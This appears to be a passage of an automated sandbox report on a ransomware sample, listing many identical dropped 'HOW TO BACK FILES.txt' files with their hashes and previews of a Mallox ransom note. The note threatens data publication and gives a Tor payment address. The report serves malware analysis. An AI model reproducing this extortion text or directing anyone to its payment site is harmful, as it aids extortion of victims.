Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\SubsetList\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\Media Renderer\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\Network Sharing\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\Skins\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\Visualizations\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\en-GB\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\en-US\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Multimedia Platform\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\Framework\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
